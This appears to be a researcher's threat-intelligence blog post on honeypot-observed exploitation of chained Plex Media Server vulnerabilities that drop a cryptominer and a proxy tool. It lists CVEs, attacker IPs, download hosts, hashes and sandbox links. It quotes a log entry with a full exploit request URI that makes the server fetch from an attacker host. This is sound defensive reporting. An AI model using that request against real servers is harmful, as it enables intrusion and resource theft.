Plex vulnerabilities being exploited in the wild to drop a cryptominer

Intro:

(No AI was involved in writing, research, etc...)

If you see weird fonts and spacing, blame Blogger. 

Skip to "In the wild exploitation" if you just care about that part. 

It's just a cryptominer. On one hand that's not a big deal for victims on the other hand, I don't get interesting c o n t e n t to write about. 

I wouldn't be surprised if threat actors deploy more sophisticated things. Plex may be hosted on residential IP and I think threat actors would love to have residential IP proxy to access corporate VPNs and emails. (edit: see update at the bottom. i do see proxy being deployed now)

Back on September 1st, 2026, Plex sent out emails and did a security announcement regarding important security updates. See the post here: https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319

As an infosec person and a Plex user, I was really curious about what this vuln was and if I could see in-the-wild exploitation. I set up a honeypot w/ a vulnerable Plex version running.

The details were limited and they said that they'd update the page with more details so I kept watching and didn't see anything. 

Finally, on Sep 26th, I saw some CVE's get published here: https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html  but none of them had CVSS score of 9+. They did contain a link to a blog post which was not released at the time. 

Link was to https://zmain.info/blog/plex2shell and release was supposed to be mid Oct so I waited and finally saw an update on Oct 16th (yesterday). The author had discovered and chained several vulns together to get remote code exec which was pretty cool. 

CVE's:

CVE-2026-96652

CVE-2026-96654

CVE-2026-96655

CVE-2026-96656 

Here's their code: https://github.com/code-zm/plex2shell/

I did do testing in the lab. Here are pcaps for detection/signature work: https://github.com/BoredHackerBlog/plex2shell_pcap

Plex2Shell In the wild exploitation:

My honeypot mostly saw scanning and generic exploitation attempts.  

As of this morning (Oct 17th), I finally saw in the wild exploitation.

So by default, I don't allow outbound traffic from my honeypots but due to how this vuln works, I had to go modify my settings later on so sadly I didn't get payloads for all the attacks. It's possible that I have partial data. I haven't gone through pcaps and I had to modify settings for tcpdump anyway. The attacker could be using slightly modified code & technique too.

Here's what I observed:

First exploitation attempt came from 45.194.92.222. From zeek logs:

 "uri": "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471",
  "user_agent": "Python-urllib/3.10",

The following two IP's were seen doing exploitation as well:

91.92.40.202

176.65.139.228 

I went back and changed my honeypot configuration to allow outbound traffic and saw continued exploitation from 45.194.92.222. 

This time I did see in the logs that there was a file download happening from 217.60.194.116.

 The following was contained inside of the docker file:

Of course it's a cryptominer. 

IOCs:

For detection of the attack, look at my github pcap link and source code from the main author. 

This is just for what was seen on the honeypot.

IP's responsible for exploitation as of writing this:

91.92.40.202

176.65.139.228

45.194.92.222 

176.65.139.228

Malicious file download source:  

217.60.194.116 (docker & x)

File hashes:

5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441  docker

68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7  x (upx packed)

b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49  x (upx unpacked)

EDIT: Oct 17th, 2nd update:

Seeing more activity and I dropped artifacts on Github. 

Saw "myawesomeproxy" running as well (I don't have time to analyze it but its on github now)

Hashes: 

e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9  myawesomeproxy

2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db  xmrig 

Here's what it prints when running:

"Running this software on any of your devices makes you agree to the potential external use of your internet traffic"

My sandbox reports for myawesomeproxy: 

https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f

https://tria.ge/261017-3ytcaady7p 

https://tria.ge/261018-ab8jgady9p

I see some traffic related to proxystream.st and found this: https://www.bitsight.com/blog/who-invited-aisuru-lan-party

similar sample found through googling: https://www.joesandbox.com/analysis/1934662/0/html

https://www.virustotal.com/gui/file/e4593f7938e76dfb40a3fe5358dfae231ef539a02ef3fda35bbccd6d2b7cdc22/detection

EDIT: Oct 18th, 2nd update

After not seeing much about this, I finally logged into my million year old reddit account and started this discussion to see if anyone else was impacted: https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/

The person who discovered the vuln did publish detections here: https://github.com/code-zm/plex2shell/tree/main/detection